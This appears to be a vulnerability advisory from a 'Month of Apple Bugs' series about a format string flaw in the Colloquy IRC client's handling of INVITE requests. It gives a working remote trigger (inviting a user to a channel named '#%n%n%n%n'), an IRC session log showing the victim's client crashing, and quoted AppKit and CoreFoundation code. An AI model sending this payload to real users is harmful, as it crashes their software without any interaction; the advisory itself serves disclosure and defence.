Traditionally, chat clients on the Mac have been anything but glamorous. Colloquy is an advanced IRC & SILC client which aims to fill this void. By adhering to Mac OS X interface conventions, Colloquy has the look and feel of a quality Mac application. By making a common mistake the developers of Colloquy have exposed users to a format string vulnerability in the handling of INVITE requests, that can be abused by remote users and requires no interaction at all.

Affected versions

Colloquy 2.1 (3545) and previous versions. It is supplied as a universal binary, thus equal opportunity pwnage is available on both Intel and PowerPC Mac.

Proof of concept, exploit or instructions to reproduce

The provided exploit will connect to an IRC server of your choosing and join a specific channel. Once it has joined the channel, a mass invite will be sent to the channel users with a string with will cause Colloquy to trigger the issue.

$ ruby MOAB-16-01-2007.rb 
++ CTCP VERSION from freenode-connect!freenode@freenode/bot/connect
++ NICKNAME: ...
++ NICKNAME: ...

Debugging information

The following output shows the interaction of a client with the server, abusing the vulnerability against user kf by sending a crafted invite request:

NOTICE AUTH :*** Looking up your hostname
NOTICE AUTH :*** Checking Ident
NOTICE AUTH :*** No ident response
NOTICE AUTH :*** Found your hostname

USER MOAB_BOT localhost localhost :
PING :379148326
PONG :379148326 001 MOAB_BOTv1 :Welcome to the UnderNet IRC Network, MOAB_BOTv1
(...) 252 MOAB_BOTv1 69 :operator(s) online 253 MOAB_BOTv1 203 :unknown connection(s) 254 MOAB_BOTv1 37417 :channels formed 255 MOAB_BOTv1 :I have 11725 clients and 1 servers
(...) 376 MOAB_BOTv1 :End of /MOTD command. NOTICE MOAB_BOTv1 :on 2 ca 1(4) ft 10(10)

/join #fanboy

:MOAB_BOTv1! JOIN #fanboy 353 MOAB_BOTv1 = #fanboy :MOAB_BOTv1 @kf 366 MOAB_BOTv1 #fanboy :End of /NAMES list.

/join #%n%n%n%n

:MOAB_BOTv1!~MOAB_BOT@(...).com JOIN #%n%n%n%n 353 MOAB_BOTv1 = #%n%n%n%n :@MOAB_BOTv1 366 MOAB_BOTv1 #%n%n%n%n :End of /NAMES list.

/invite kf #%n%n%n%n 341 MOAB_BOTv1 kf #%n%n%n%n

:kf! QUIT :Read error: EOF from client

There's no user interaction necessary and the issue can be triggered by simply receiving the INVITE request.


Exploitation conditions

NSRunInformationalAlertPanel( title, message, NSLocalizedString( @"Join", "join button" ), NSLocalizedString( @"Decline", "decline button" ), nil )

Both _invitedToRoom: and _invitedToDirectChat: seem to have issues. Generally, all input that is passed to an AlertSheet or Panel should be validated.

The origin of this problem is caused by Apple's AppKit framework, and these functions have been misused by developers of applications like Skype, iPhoto and OmniWeb, leading to many different format string vulnerabilities:

* NSBeginAlertSheet
* NSBeginCriticalAlertSheet
* NSBeginInformationalAlertSheet
* NSGetAlertPanel
* NSGetCriticalAlertPanel
* NSGetInformationalAlertPanel
* NSReleaseAlertPanel
* NSRunAlertPanel
* NSRunCriticalAlertPanel
* NSRunInformationalAlertPanel

All of these functions have a similar behavior like printf(). Due to a bug in CoreFoundation, these issues are currently difficult to exploit for code execution. As you can see below, %n support is broken:

CF_INLINE void __CFParseFormatSpec(const UniChar *uformat, const uint8_t *cformat,
SInt32 *fmtIdx, SInt32 fmtLen, CFFormatSpec *spec) {
    Boolean seenDot = false;
    for (;;) {
	UniChar ch;
	if (fmtLen <= *fmtIdx) return;	/* no type */
        if (cformat) ch = (UniChar)cformat[(*fmtIdx)++]; else ch = uformat[(*fmtIdx)++];
	reswtch:switch (ch) {
	case '#':	// ignored for now
	case 'n': case 'p':		/* %n is not handled correctly currently */
	    spec->type = CFFormatPointerType;
	    spec->size = CFFormatSize4;
	case 's':
	    spec->type = CFFormatCharsType;
	    spec->size = CFFormatSize4;
	case '@':
	    spec->type = CFFormatCFType;
	    spec->size = CFFormatSize4;
Workaround or temporary solution

Wait for a fixed version of Colloquy to be released. Use an alternative IRC client.